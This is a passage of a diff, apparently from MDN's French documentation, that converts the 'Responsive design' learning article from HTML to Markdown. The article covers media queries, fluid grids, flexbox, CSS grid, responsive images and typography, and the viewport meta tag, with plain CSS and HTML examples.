décrit la combinaison de trois techniques. -<ol> - <li>La première était l'idée des grilles fluides, une idée déjà explorée par Gillenwater, que l'on peut lire dans l'article de Marcotte, <a href="https://alistapart.com/article/fluidgrids/">Fluid Grids</a> (publié en 2009 sur A List Apart).</li> - <li>La deuxième technique était l'idée <a href="http://unstoppablerobotninja.com/entry/fluid-images">d'images fluides</a>. En utilisant une technique très simple de réglage de la propriété <code>max-width</code> à <code>100%</code>, les images deviennent plus petites si leur colonne de contenu devient plus étroite que la taille intrinsèque de l'image, mais ne deviennent jamais plus grandes. Cela permet à une image de se réduire pour s'intégrer dans une colonne de taille flexible, plutôt que de la déborder, mais de ne pas s'agrandir et de devenir pixélisée si la colonne devient plus large que l'image.</li> - <li>Le troisième élément clé était la <a href="/fr/docs/Web/CSS/Media_Queries">media query</a>. Les Media Queries permettent de changer le type de mise en page que Cameron Adams avait précédemment exploré en utilisant JavaScript, en utilisant uniquement CSS. Au lieu d'avoir une seule mise en page pour toutes les tailles d'écran, la mise en page pouvait être modifiée. Les barres latérales pouvaient être repositionnées pour l'écran plus petit, ou une autre navigation pouvait être affichée.</li> -</ol> +1. La première était l'idée des grilles fluides, une idée déjà explorée par Gillenwater, que l'on peut lire dans l'article de Marcotte, [Fluid Grids](https://alistapart.com/article/fluidgrids/) (publié en 2009 sur A List Apart). +2. La deuxième technique était l'idée [d'images fluides](http://unstoppablerobotninja.com/entry/fluid-images). En utilisant une technique très simple de réglage de la propriété `max-width` à `100%`, les images deviennent plus petites si leur colonne de contenu devient plus étroite que la taille intrinsèque de l'image, mais ne deviennent jamais plus grandes. Cela permet à une image de se réduire pour s'intégrer dans une colonne de taille flexible, plutôt que de la déborder, mais de ne pas s'agrandir et de devenir pixélisée si la colonne devient plus large que l'image. +3. Le troisième élément clé était la [media query](/fr/docs/Web/CSS/Media_Queries). Les Media Queries permettent de changer le type de mise en page que Cameron Adams avait précédemment exploré en utilisant JavaScript, en utilisant uniquement CSS. Au lieu d'avoir une seule mise en page pour toutes les tailles d'écran, la mise en page pouvait être modifiée. Les barres latérales pouvaient être repositionnées pour l'écran plus petit, ou une autre navigation pouvait être affichée. -<p>Il est important de comprendre que <strong>le responsive web design n'est pas une technologie à part</strong> - c'est un terme utilisé pour décrire une approche de la conception web, ou un ensemble de bonnes pratiques, utilisées pour créer une mise en page qui peut correspondre à l'appareil utilisé pour visualiser le contenu. Dans la recherche initiale de Marcotte, cela impliquait des grilles flexibles (en utilisant des flotteurs) et des média queries, mais depuis la rédaction de cet article, il y a presque 10 ans, le concept de responsive design est devenu la norme. Les méthodes modernes de mise en page CSS sont par nature responsives, et nous avons intégré de nouvelles choses à la plateforme Web pour faciliter la conception de sites responsives.<br> - <br> - Le reste de cet article vous indiquera les différentes fonctionnalités de la plate-forme web que vous pourriez vouloir utiliser pour créer un site réactif.</p> +Il est important de comprendre que **le responsive web design n'est pas une technologie à part** - c'est un terme utilisé pour décrire une approche de la conception web, ou un ensemble de bonnes pratiques, utilisées pour créer une mise en page qui peut correspondre à l'appareil utilisé pour visualiser le contenu. Dans la recherche initiale de Marcotte, cela impliquait des grilles flexibles (en utilisant des flotteurs) et des média queries, mais depuis la rédaction de cet article, il y a presque 10 ans, le concept de responsive design est devenu la norme. Les méthodes modernes de mise en page CSS sont par nature responsives, et nous avons intégré de nouvelles choses à la plateforme Web pour faciliter la conception de sites responsives. -<h2 id="Media_Queries">Media Queries</h2> +Le reste de cet article vous indiquera les différentes fonctionnalités de la plate-forme web que vous pourriez vouloir utiliser pour créer un site réactif. -<p>Le responsive design n'a pu voir le jour uniquement grâce aux média queries. La spécification de niveau 3 des média queries est devenue une Recommandation Candidate en 2009, ce qui signifie qu'elle a été jugée prête à être mise en œuvre dans les navigateurs. Les Media Queries nous permettent d'effectuer une série de tests (par exemple, si l'écran de l'utilisateur dépasse une certaine largeur, ou une certaine résolution) et d'appliquer le CSS de manière sélective pour donner à la page le style approprié aux besoins de l'utilisateur.</p> +## Media Queries -<p>Par exemple, la média query suivante teste si la page Web actuelle est affichée comme média d'écran (donc pas un document à imprimer) et si la fenêtre de visualisation a au moins 800 pixels de large. Le CSS du sélecteur <code>.container</code> ne sera appliqué que si ces deux éléments sont vrais.</p> +Le responsive design n'a pu voir le jour uniquement grâce aux média queries. La spécification de niveau 3 des média queries est devenue une Recommandation Candidate en 2009, ce qui signifie qu'elle a été jugée prête à être mise en œuvre dans les navigateurs. Les Media Queries nous permettent d'effectuer une série de tests (par exemple, si l'écran de l'utilisateur dépasse une certaine largeur, ou une certaine résolution) et d'appliquer le CSS de manière sélective pour donner à la page le style approprié aux besoins de l'utilisateur. -<pre class="brush: css"><code>@media screen and (min-width: 800px) { +Par exemple, la média query suivante teste si la page Web actuelle est affichée comme média d'écran (donc pas un document à imprimer) et si la fenêtre de visualisation a au moins 800 pixels de large. Le CSS du sélecteur `.container` ne sera appliqué que si ces deux éléments sont vrais. + +```css +@media screen and (min-width: 800px) { .container { margin: 1em 2em; } -} </code> -</pre> +} +``` -<p>Vous pouvez ajouter plusieurs medias queries dans une feuille de style, afin de modifier votre mise en page ou certaines de ses parties pour les adapter aux différentes tailles d'écran. Les endroits où une média query est introduite et où la mise en page est modifiée sont appelés points d'arrêt.</p> +Vous pouvez ajouter plusieurs medias queries dans une feuille de style, afin de modifier votre mise en page ou certaines de ses parties pour les adapter aux différentes tailles d'écran. Les endroits où une média query est introduite et où la mise en page est modifiée sont appelés points d'arrêt. -<p>Une approche courante lors de l'utilisation de Media Queries consiste à créer une disposition à colonne unique simple pour les appareils à écran étroit (par exemple les téléphones portables), puis à vérifier si les écrans sont plus grands et à mettre en œuvre une disposition à colonnes multiples lorsque vous savez que vous avez suffisamment de largeur d'écran pour la prendre en charge. Ceci est souvent décrit comme la conception mobile en priorité.</p> +Une approche courante lors de l'utilisation de Media Queries consiste à créer une disposition à colonne unique simple pour les appareils à écran étroit (par exemple les téléphones portables), puis à vérifier si les écrans sont plus grands et à mettre en œuvre une disposition à colonnes multiples lorsque vous savez que vous avez suffisamment de largeur d'écran pour la prendre en charge. Ceci est souvent décrit comme la conception mobile en priorité. -<p>Pour en savoir plus, consultez la documentation MDN pour les <a href="/fr/docs/Web/CSS/Media_Queries">Media Queries</a>.</p> +Pour en savoir plus, consultez la documentation MDN pour les [Media Queries](/fr/docs/Web/CSS/Media_Queries). -<h2 id="Grilles_flexibles">Grilles flexibles</h2> +## Grilles flexibles -<p>Les sites responsives ne se contentent pas de changer leur mise en page entre les points de rupture, ils sont construits sur des grilles flexibles. Une grille flexible signifie que vous n'avez pas besoin de cibler toutes les tailles d'appareils possibles et de construire une mise en page parfaite au pixel près. Cette approche serait impossible étant donné le grand nombre de dispositifs de tailles différentes qui existent, et le fait que sur les ordinateurs de bureau au moins, les gens n'ont pas toujours la fenêtre de leur navigateur maximisée.</p> +Les sites responsives ne se contentent pas de changer leur mise en page entre les points de rupture, ils sont construits sur des grilles flexibles. Une grille flexible signifie que vous n'avez pas besoin de cibler toutes les tailles d'appareils possibles et de construire une mise en page parfaite au pixel près. Cette approche serait impossible étant donné le grand nombre de dispositifs de tailles différentes qui existent, et le fait que sur les ordinateurs de bureau au moins, les gens n'ont pas toujours la fenêtre de leur navigateur maximisée. -<p>En utilisant une grille flexible, vous n'avez qu'à ajouter un point d'arrêt et à modifier le design au moment où le contenu commence à avoir une piètre apparence. Par exemple, si la longueur des lignes devient illisible à mesure que la taille de l'écran augmente, ou si une boîte se retrouve écrasée avec deux mots sur chaque ligne lorsqu'elle se rétrécit.</p> +En utilisant une grille flexible, vous n'avez qu'à ajouter un point d'arrêt et à modifier le design au moment où le contenu commence à avoir une piètre apparence. Par exemple, si la longueur des lignes devient illisible à mesure que la taille de l'écran augmente, ou si une boîte se retrouve écrasée avec deux mots sur chaque ligne lorsqu'elle se rétrécit. -<p>Aux débuts du responsive design, notre seule option pour réaliser la mise en page était d'utiliser <a href="/fr/docs/Apprendre/CSS/CSS_layout/Floats">floats</a>. Aux débuts du responsive design, notre seule option pour réaliser la mise en page était d'utiliser des flotteurs. Des mises en page flottantes flexibles ont été réalisées en donnant à chaque élément un pourcentage de largeur et en s'assurant que les totaux ne dépassent pas 100 % dans toute la mise en page. Dans sa publication originale sur les grilles fluides, Marcotte a détaillé une formule pour convertir en pourcentages une mise en page conçue à l'aide de pixels.</p> +Aux débuts du responsive design, notre seule option pour réaliser la mise en page était d'utiliser [floats](/fr/docs/Apprendre/CSS/CSS_layout/Floats). Aux débuts du responsive design, notre seule option pour réaliser la mise en page était d'utiliser des flotteurs. Des mises en page flottantes flexibles ont été réalisées en donnant à chaque élément un pourcentage de largeur et en s'assurant que les totaux ne dépassent pas 100 % dans toute la mise en page. Dans sa publication originale sur les grilles fluides, Marcotte a détaillé une formule pour convertir en pourcentages une mise en page conçue à l'aide de pixels. -<pre><code>target / context = result </code> -</pre> + target / context = result -<p>Par exemple, si la taille de notre colonne cible est de 60 pixels et que le contexte (ou conteneur) dans lequel elle se trouve est de 960 pixels, nous divisons 60 par 960 pour obtenir une valeur que nous pouvons utiliser dans notre CSS, après avoir déplacé le point décimal de deux places vers la droite.</p> +Par exemple, si la taille de notre colonne cible est de 60 pixels et que le contexte (ou conteneur) dans lequel elle se trouve est de 960 pixels, nous divisons 60 par 960 pour obtenir une valeur que nous pouvons utiliser dans notre CSS, après avoir déplacé le point décimal de deux places vers la droite. -<pre class="brush: css"><code>.col { +```css +.col { width: 6.25%; /* 60 / 960 = 0.0625 */ -} </code> -</pre> +} +``` + +Cette approche se retrouve aujourd'hui à de nombreux endroits sur le Web, et elle est documentée ici dans la section sur la mise en page de notre article sur [Méthodes de mises en page traditionnelles](/fr/docs/Apprendre/CSS/CSS_layout/Legacy_Layout_Methods). Cette approche se retrouve aujourd'hui à de nombreux endroits sur le Web, et elle est documentée ici dans la section sur la mise en page de notre article sur les méthodes de mise en page héritées. Il est probable que vous rencontrerez des sites web utilisant cette approche dans votre travail, donc il est utile de la comprendre, même si vous ne construiriez pas un site moderne en utilisant une grille flexible basée sur le flottement. -<p>Cette approche se retrouve aujourd'hui à de nombreux endroits sur le Web, et elle est documentée ici dans la section sur la mise en page de notre article sur <a href="/fr/docs/Apprendre/CSS/CSS_layout/Legacy_Layout_Methods">Méthodes de mises en page traditionnelles</a>. Cette approche se retrouve aujourd'hui à de nombreux endroits sur le Web, et elle est documentée ici dans la section sur la mise en page de notre article sur les méthodes de mise en page héritées. Il est probable que vous rencontrerez des sites web utilisant cette approche dans votre travail, donc il est utile de la comprendre, même si vous ne construiriez pas un site moderne en utilisant une grille flexible basée sur le flottement.</p> +L'exemple suivant montre une conception simple et responsive en utilisant des médias queries et une grille flexible. Sur des écrans étroits, la mise en page affiche les boîtes entassées les unes sur les autres : -<p>L'exemple suivant montre une conception simple et responsive en utilisant des médias queries et une grille flexible. Sur des écrans étroits, la mise en page affiche les boîtes entassées les unes sur les autres :<br> - </p> -<img alt="A mobile view of the layout with boxes stacked on top of each other vertically." src="mdn-rwd-mobile.png"> -<p>Sur des écrans plus larges, ils se positionnent sur deux colonnes :</p> + -<img alt="A desktop view of a layout with two columns." src="mdn-rwd-desktop.png"> +Sur des écrans plus larges, ils se positionnent sur deux colonnes : -<div class="note"> -<p><strong>Note :</strong> Vous pouvez trouver l'<a href="https://mdn.github.io/css-examples/learn/rwd/float-based-rwd.html">exemple en direct</a> et le <a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/float-based-rwd.html">code source</a> pour cet exemple sur GitHub.</p> -</div> + -<h2 id="Techniques_modernes_de_mise_en_page">Techniques modernes de mise en page</h2> +> **Note :** Vous pouvez trouver l'[exemple en direct](https://mdn.github.io/css-examples/learn/rwd/float-based-rwd.html) et le [code source](https://github.com/mdn/css-examples/blob/master/learn/rwd/float-based-rwd.html) pour cet exemple sur GitHub. -<p>Les méthodes de mise en page modernes telles que <a href="/fr/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Multiple-column layout</a>, <a href="/fr/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a>, et <a href="/fr/docs/Learn/CSS/CSS_layout/Grids">Grid</a> sont responsives par défaut. Elles partent toutes du principe que vous essayez de créer une grille flexible et vous donnent des moyens plus faciles de le faire.</p> +## Techniques modernes de mise en page -<h3 id="Multicol">Multicol</h3> +Les méthodes de mise en page modernes telles que [Multiple-column layout](/fr/docs/Learn/CSS/CSS_layout/Multiple-column_Layout), [Flexbox](/fr/docs/Learn/CSS/CSS_layout/Flexbox), et [Grid](/fr/docs/Learn/CSS/CSS_layout/Grids) sont responsives par défaut. Elles partent toutes du principe que vous essayez de créer une grille flexible et vous donnent des moyens plus faciles de le faire. -<p>La plus ancienne de ces méthodes de mise en page est multicol — lorsque vous spécifiez un <code>column-count</code>, cela indique en combien de colonnes vous voulez que votre contenu soit divisé. Le navigateur calcule alors la taille de celles-ci, une taille qui changera en fonction de la taille de l'écran.</p> +### Multicol -<pre class="brush: css"><code>.container { +La plus ancienne de ces méthodes de mise en page est multicol — lorsque vous spécifiez un `column-count`, cela indique en combien de colonnes vous voulez que votre contenu soit divisé. Le navigateur calcule alors la taille de celles-ci, une taille qui changera en fonction de la taille de l'écran. + +```css +.container { column-count: 3; -} </code> -</pre> +} +``` -<p>Si vous spécifiez plutôt une largeur de colonne, vous spécifiez une largeur minimale. Le navigateur créera autant de colonnes de cette largeur qu'il en faudra pour que le conteneur soit parfaitement adapté, puis répartira l'espace restant entre toutes les colonnes. Par conséquent, le nombre de colonnes changera en fonction de l'espace disponible.</p> +Si vous spécifiez plutôt une largeur de colonne, vous spécifiez une largeur minimale. Le navigateur créera autant de colonnes de cette largeur qu'il en faudra pour que le conteneur soit parfaitement adapté, puis répartira l'espace restant entre toutes les colonnes. Par conséquent, le nombre de colonnes changera en fonction de l'espace disponible. -<pre class="brush: css"><code>.container { +```css +.container { column-width: 10em; -} </code> -</pre> +} +``` -<h3 id="Flexbox">Flexbox</h3> +### Flexbox -<p>Dans Flexbox, les articles flexibles se rétréciront et répartiront l'espace entre les articles en fonction de l'espace dans leur conteneur, en fonction de leur comportement initial. En modifiant les valeurs de <code>flex-grow</code> et <code>flex-shrink</code> vous pouvez indiquer comment vous souhaitez que les articles se comportent lorsqu'ils rencontrent plus ou moins d'espace autour d'eux.</p> +Dans Flexbox, les articles flexibles se rétréciront et répartiront l'espace entre les articles en fonction de l'espace dans leur conteneur, en fonction de leur comportement initial. En modifiant les valeurs de `flex-grow` et `flex-shrink` vous pouvez indiquer comment vous souhaitez que les articles se comportent lorsqu'ils rencontrent plus ou moins d'espace autour d'eux. -<p>Dans l'exemple ci-dessous, les éléments flex prendront chacun autant d'espace dans le conteneur flex, en utilisant la notation <code>flex: 1</code> comme décrit dans la rubrique de mise en page <a href="/fr/docs/Apprendre/CSS/CSS_layout/Flexbox#Taille_modulable_des_éléments_flex">Flexbox: Taille modulable des éléments flex</a>.</p> +Dans l'exemple ci-dessous, les éléments flex prendront chacun autant d'espace dans le conteneur flex, en utilisant la notation `flex: 1` comme décrit dans la rubrique de mise en page [Flexbox: Taille modulable des éléments flex](/fr/docs/Apprendre/CSS/CSS_layout/Flexbox#Taille_modulable_des_éléments_flex). -<pre class="brush: css"><code>.container { +```css +.container { display: flex; } .item { flex: 1; -} </code> -</pre> +} +``` -<div class="note"> -<p><strong>Note :</strong> À titre d'exemple, nous avons reconstruit la mise en page simple et réactive ci-dessus, en utilisant cette fois-ci la méthode flexbox. Vous pouvez voir comment nous n'avons plus besoin d'utiliser des pourcentages étranges pour calculer la taille des colonnes : <a href="https://mdn.github.io/css-examples/learn/rwd/flex-based-rwd.html">exemple</a>, <a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/flex-based-rwd.html">code source</a>.</p> -</div> +> **Note :** À titre d'exemple, nous avons reconstruit la mise en page simple et réactive ci-dessus, en utilisant cette fois-ci la méthode flexbox. Vous pouvez voir comment nous n'avons plus besoin d'utiliser des pourcentages étranges pour calculer la taille des colonnes : [exemple](https://mdn.github.io/css-examples/learn/rwd/flex-based-rwd.html), [code source](https://github.com/mdn/css-examples/blob/master/learn/rwd/flex-based-rwd.html). -<h3 id="CSS_grid">CSS grid</h3> +### CSS grid -<p>Dans la mise en page en grille CSS, l'unité <code>fr</code> permet la répartition de l'espace disponible sur les différentes sections de la grille. L'exemple suivant crée un conteneur de grille avec trois rangées dont la taille est de <code>1fr</code>. Cela créera trois colonnes, chacune prenant une partie de l'espace disponible dans le conteneur. Vous pouvez en savoir plus sur cette approche pour créer une grille dans la rubrique Apprendre la mise en place en grille, dans la section <a href="/fr/docs/Apprendre/CSS/CSS_layout/Grids#Trames_adaptables_avec_lunité_«_fr_»">Trames adaptables avec l'unité "fr"</a>.</p> +Dans la mise en page en grille CSS, l'unité `fr` permet la répartition de l'espace disponible sur les différentes sections de la grille. L'exemple suivant crée un conteneur de grille avec trois rangées dont la taille est de `1fr`. Cela créera trois colonnes, chacune prenant une partie de l'espace disponible dans le conteneur. Vous pouvez en savoir plus sur cette approche pour créer une grille dans la rubrique Apprendre la mise en place en grille, dans la section [Trames adaptables avec l'unité "fr"](/fr/docs/Apprendre/CSS/CSS_layout/Grids#Trames_adaptables_avec_lunité_«_fr_»). -<pre class="brush: css"><code>.container { +```css +.container { display: grid; grid-template-columns: 1fr 1fr 1fr; -} </code> -</pre> +} +``` -<div class="note"> -<p><strong>Note :</strong> La version à grille est encore plus simple puisque nous pouvons définir les colonnes sur le .wrapper : <a href="https://mdn.github.io/css-examples/learn/rwd/grid-based-rwd.html">exemple</a>, <a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/grid-based-rwd.html">code source</a>.</p> -</div> +> **Note :** La version à grille est encore plus simple puisque nous pouvons définir les colonnes sur le .wrapper : [exemple](https://mdn.github.io/css-examples/learn/rwd/grid-based-rwd.html), [code source](https://github.com/mdn/css-examples/blob/master/learn/rwd/grid-based-rwd.html). -<h2 id="Images_responsives">Images responsives</h2> +## Images responsives -<p>L'approche la plus simple pour les images responsive est celle décrite dans les premiers articles de Marcotte sur le design responsive. En gros, vous preniez une image qui était à la plus grande taille possible et vous la réduisiez. C'est encore une approche utilisée aujourd'hui, et dans la plupart des feuilles de style, vous trouverez le CSS suivant quelque part :</p> +L'approche la plus simple pour les images responsive est celle décrite dans les premiers articles de Marcotte sur le design responsive. En gros, vous preniez une image qui était à la plus grande taille possible et vous la réduisiez. C'est encore une approche utilisée aujourd'hui, et dans la plupart des feuilles de style, vous trouverez le CSS suivant quelque part : -<pre class="brush: css"><code>img { +```css +img { max-width: 100%: -} </code> -</pre> +} +``` -<p>Cette approche présente des inconvénients évidents. L'image peut être affichée à une taille beaucoup plus petite que sa taille réelle, ce qui est un gaspillage de bande passante - un utilisateur mobile peut télécharger une image dont la taille est beaucoup plus grande que ce qu'il voit réellement dans la fenêtre du navigateur. De plus, il se peut que vous ne vouliez pas le même rapport hauteur/largeur de l'image sur le mobile que sur le bureau. Par exemple, il peut être agréable d'avoir une image carrée pour le mobile, mais de montrer la même image en format paysage sur le bureau. Ou, en tenant compte de la taille plus petite d'une image sur le mobile, vous pouvez vouloir montrer une image différente, qui est plus facile à comprendre sur un écran de petite taille. Ces choses ne peuvent pas être réalisées par une simple réduction de la taille d'une image.</p> +Cette approche présente des inconvénients évidents. L'image peut être affichée à une taille beaucoup plus petite que sa taille réelle, ce qui est un gaspillage de bande passante - un utilisateur mobile peut télécharger une image dont la taille est beaucoup plus grande que ce qu'il voit réellement dans la fenêtre du navigateur. De plus, il se peut que vous ne vouliez pas le même rapport hauteur/largeur de l'image sur le mobile que sur le bureau. Par exemple, il peut être agréable d'avoir une image carrée pour le mobile, mais de montrer la même image en format paysage sur le bureau. Ou, en tenant compte de la taille plus petite d'une image sur le mobile, vous pouvez vouloir montrer une image différente, qui est plus facile à comprendre sur un écran de petite taille. Ces choses ne peuvent pas être réalisées par une simple réduction de la taille d'une image. -<p>Les images responsives, en utilisant l'élément {{htmlelement("picture")}} et les attributs {{htmlelement("img")}} <code>srcset</code> et <code>sizes</code> permettent de résoudre ces deux problèmes. Vous pouvez fournir plusieurs tailles ainsi que des " indices " (méta-données qui décrivent la taille de l'écran et la résolution pour lesquelles l'image est la mieux adaptée), et le navigateur choisira l'image la plus appropriée pour chaque dispositif, en s'assurant qu'un utilisateur téléchargera une taille d'image appropriée pour le dispositif qu'il utilise.</p> +Les images responsives, en utilisant l'élément {{htmlelement("picture")}} et les attributs {{htmlelement("img")}} `srcset` et `sizes` permettent de résoudre ces deux problèmes. Vous pouvez fournir plusieurs tailles ainsi que des " indices " (méta-données qui décrivent la taille de l'écran et la résolution pour lesquelles l'image est la mieux adaptée), et le navigateur choisira l'image la plus appropriée pour chaque dispositif, en s'assurant qu'un utilisateur téléchargera une taille d'image appropriée pour le dispositif qu'il utilise. -<p>Vous pouvez également créer des images directes utilisées à différentes tailles, ce qui permet d'obtenir un recadrage différent ou une image complètement différente pour différentes tailles d'écran.</p> +Vous pouvez également créer des images directes utilisées à différentes tailles, ce qui permet d'obtenir un recadrage différent ou une image complètement différente pour différentes tailles d'écran. -<p>Vous pouvez trouver un <a href="/fr/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">guide détaillé sur les Images Responsives dans la section Apprendre le HTML</a> ici sur MDN.</p> +Vous pouvez trouver un [guide détaillé sur les Images Responsives dans la section Apprendre le HTML](/fr/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images) ici sur MDN. -<h2 id="Typographie_responsive">Typographie responsive</h2> +## Typographie responsive -<p>L'idée d'une typographie responsive est un élément du responsive design qui n'a pas été abordé dans les documents précédents. Elle décrit essentiellement la modification de la taille des polices de caractères dans les médias queries pour tenir compte d'un nombre plus ou moins important de pixels à l'écran.</p> +L'idée d'une typographie responsive est un élément du responsive design qui n'a pas été abordé dans les documents précédents. Elle décrit essentiellement la modification de la taille des polices de caractères dans les médias queries pour tenir compte d'un nombre plus ou moins important de pixels à l'écran. -<p>Dans cet exemple, nous voulons fixer notre titre de niveau 1 à <code>4rem</code>, ce qui signifie qu'il sera quatre fois plus gros que notre police de base. C'est un très grand titre ! Nous voulons que ce titre géant ne soit utilisé que sur des écrans de grande taille, c'est pourquoi nous créons d'abord un titre plus petit, puis nous utilisons des média queries pour le remplacer par un titre de plus grande taille si nous savons que l'utilisateur a une taille d'écran d'au moins <code>1200px</code>.</p> +Dans cet exemple, nous voulons fixer notre titre de niveau 1 à `4rem`, ce qui signifie qu'il sera quatre fois plus gros que notre police de base. C'est un très grand titre ! Nous voulons que ce titre géant ne soit utilisé que sur des écrans de grande taille, c'est pourquoi nous créons d'abord un titre plus petit, puis nous utilisons des média queries pour le remplacer par un titre de plus grande taille si nous savons que l'utilisateur a une taille d'écran d'au moins `1200px`. -<pre class="brush: css"><code>html { +```css +html { font-size: 1em; } @@ -223,101 +225,96 @@ h1 { h1 { font-size: 4rem; } -} </code> -</pre> +} +``` -<p>Nous avons modifié notre exemple de grilles réactives ci-dessus pour inclure également les type responsives en utilisant la méthode décrite. Vous pouvez voir comment le titre change de taille au fur et à mesure que la mise en page passe à la version à deux colonnes.</p> +Nous avons modifié notre exemple de grilles réactives ci-dessus pour inclure également les type responsives en utilisant la méthode décrite. Vous pouvez voir comment le titre change de taille au fur et à mesure que la mise en page passe à la version à deux colonnes. -<p>Sur un mobile, le titre est plus petit :</p> +Sur un mobile, le titre est plus petit : -<img alt="A stacked layout with a small heading size." src="mdn-rwd-font-mobile.png"> + -<p>Sur le bureau cependant, nous voyons la plus grande taille de titre :</p> +Sur le bureau cependant, nous voyons la plus grande taille de titre : -<img alt="A two column layout with a large heading." src="mdn-rwd-font-desktop.png"> + -<div class="note"> -<p><strong>Note :</strong> Voir cet exemple en action : <a href="https://mdn.github.io/css-examples/learn/rwd/type-rwd.html">exemple</a>, <a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/type-rwd.html">code source</a>.</p> -</div> +> **Note :** Voir cet exemple en action : [exemple](https://mdn.github.io/css-examples/learn/rwd/type-rwd.html), [code source](https://github.com/mdn/css-examples/blob/master/learn/rwd/type-rwd.html). -<p>Comme le montre cette approche de la typographie, vous n'avez pas besoin de limiter les requêtes des médias à la seule modification de la mise en page. Elles peuvent être utilisées pour modifier n'importe quel élément afin de le rendre plus utilisable ou plus attrayant à des tailles d'écran différentes.</p> +Comme le montre cette approche de la typographie, vous n'avez pas besoin de limiter les requêtes des médias à la seule modification de la mise en page. Elles peuvent être utilisées pour modifier n'importe quel élément afin de le rendre plus utilisable ou plus attrayant à des tailles d'écran différentes. -<h3 id="Utilisation_dunités_de_visualisation_pour_une_typographie_réactive">Utilisation d'unités de visualisation pour une typographie réactive</h3> +### Utilisation d'unités de visualisation pour une typographie réactive -<p>Une approche intéressante consiste à utiliser l'unité viewport <code>vw</code> pour permettre une typographie réactive. <code>1vw</code> est égal à un pour cent de la largeur de la fenêtre, ce qui signifie que si vous définissez la taille de votre police à l'aide de <code>vw</code>, elle sera toujours liée à la taille de la fenêtre.</p> +Une approche intéressante consiste à utiliser l'unité viewport `vw` pour permettre une typographie réactive. `1vw` est égal à un pour cent de la largeur de la fenêtre, ce qui signifie que si vous définissez la taille de votre police à l'aide de `vw`, elle sera toujours liée à la taille de la fenêtre. -<pre class="brush: css">h1 { +```css +h1 { font-size: 6vw; -}</pre> +} +``` -<p>Le problème est que l'utilisateur perd la possibilité de zoomer sur un ensemble de texte en utilisant l'unité <code>vw</code>, car ce texte est toujours lié à la taille de la fenêtre de visualisation. <strong>Par conséquent, vous ne devez jamais définir un texte en utilisant uniquement les unités de viewport.</strong></p> +Le problème est que l'utilisateur perd la possibilité de zoomer sur un ensemble de texte en utilisant l'unité `vw`, car ce texte est toujours lié à la taille de la fenêtre de visualisation. **Par conséquent, vous ne devez jamais définir un texte en utilisant uniquement les unités de viewport.** -<p>Il existe une solution, et elle consiste à utiliser <code><a href="/fr/docs/Web/CSS/calc">calc()</a></code>. Si vous ajoutez l'unité <code>vw</code> à un ensemble de valeurs utilisant une taille fixe telle que <code>em</code>s ou <code>rem</code>s, le texte sera toujours zoomable. En fait, l'unité <code>vw</code> s'ajoute à cette valeur zoomée :</p> +Il existe une solution, et elle consiste à utiliser [`calc()`](/fr/docs/Web/CSS/calc). Si vous ajoutez l'unité `vw` à un ensemble de valeurs utilisant une taille fixe telle que `em`s ou `rem`s, le texte sera toujours zoomable. En fait, l'unité `vw` s'ajoute à cette valeur zoomée : -<pre class="brush: css">h1 { +```css +h1 { font-size: calc(1.5rem + 3vw); -}</pre> +} +``` -<p>Cela signifie que nous n'avons besoin de spécifier la taille de la police pour l'en-tête qu'une seule fois, plutôt que de la configurer pour les mobiles et de la redéfinir dans les requêtes des médias. La police augmente ensuite progressivement à mesure que l'on augmente la taille de la zone d'affichage.</p> +Cela signifie que nous n'avons besoin de spécifier la taille de la police pour l'en-tête qu'une seule fois, plutôt que de la configurer pour les mobiles et de la redéfinir dans les requêtes des médias. La police augmente ensuite progressivement à mesure que l'on augmente la taille de la zone d'affichage. -<div class="note"> -<p><strong>Note :</strong> Voir un exemple de cela en action : <a href="https://mdn.github.io/css-examples/learn/rwd/type-vw.html">exemple</a>, <a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/type-vw.html">code source</a>.</p> -</div> +> **Note :** Voir un exemple de cela en action : [exemple](https://mdn.github.io/css-examples/learn/rwd/type-vw.html), [code source](https://github.com/mdn/css-examples/blob/master/learn/rwd/type-vw.html). -<h2 id="Le_méta-tag_du_viewport">Le méta-tag du viewport</h2> +## Le méta-tag du viewport -<p>Si vous regardez le code source d'une page HTML responsive, vous verrez généralement la balise suivante {{htmlelement("meta")}} dans la section <code><head></code> du document.</p> +Si vous regardez le code source d'une page HTML responsive, vous verrez généralement la balise suivante {{htmlelement("meta")}} dans la section `<head>` du document. -<pre class="brush: html"><code><meta name="viewport" content="width=device-width,initial-scale=1"></code> -</pre> +```html +<meta name="viewport" content="width=device-width,initial-scale=1"> +``` -<p>Cette balise meta dit aux navigateurs mobiles qu'ils doivent ajuster la largeur de la fenêtre à la largeur de l'écran de l'appareil, et mettre l'échelle du document à 100% de sa taille prévue, affichant le document à la taille optimisée pour les mobiles que vous vouliez.</p> +Cette balise meta dit aux navigateurs mobiles qu'ils doivent ajuster la largeur de la fenêtre à la largeur de l'écran de l'appareil, et mettre l'échelle du document à 100% de sa taille prévue, affichant le document à la taille optimisée pour les mobiles que vous vouliez. -<p>Pourquoi est-ce nécessaire? Parce que les navigateurs mobiles ont tendance à mentir à propos de leur taille de fenêtre.</p> +Pourquoi est-ce nécessaire? Parce que les navigateurs mobiles ont tendance à mentir à propos de leur taille de fenêtre. -<p>Cette balise meta existe car lorsque l'Iphone original fut lancé et que les gens commencèrent à regarder des sites web sur un petit écran de téléphone, la plupart des sites n'étaient pas optimisés pour les mobiles. Le navigateur mobile définissait donc la largeur de la fenêtre d'affichage à 960 pixels, affichait la page à cette largeur et affichait le résultat sous la forme d'une version zoomée de la disposition du bureau. Les autres navigateurs mobiles (comme sur Google Android) faisaient la même chose. Les utilisateurs pouvaient zoomer et parcourir le site Web pour voir les éléments qui les intéressaient, mais l'affichage était mauvais. Vous le verrez toujours aujourd'hui si vous avez le malheur de tomber sur un site qui n'est pas responsive.</p> +Cette balise meta existe car lorsque l'Iphone original fut lancé et que les gens commencèrent à regarder des sites web sur un petit écran de téléphone, la plupart des sites n'étaient pas optimisés pour les mobiles. Le navigateur mobile définissait donc la largeur de la fenêtre d'affichage à 960 pixels, affichait la page à cette largeur et affichait le résultat sous la forme d'une version zoomée de la disposition du bureau. Les autres navigateurs mobiles (comme sur Google Android) faisaient la même chose. Les utilisateurs pouvaient zoomer et parcourir le site Web pour voir les éléments qui les intéressaient, mais 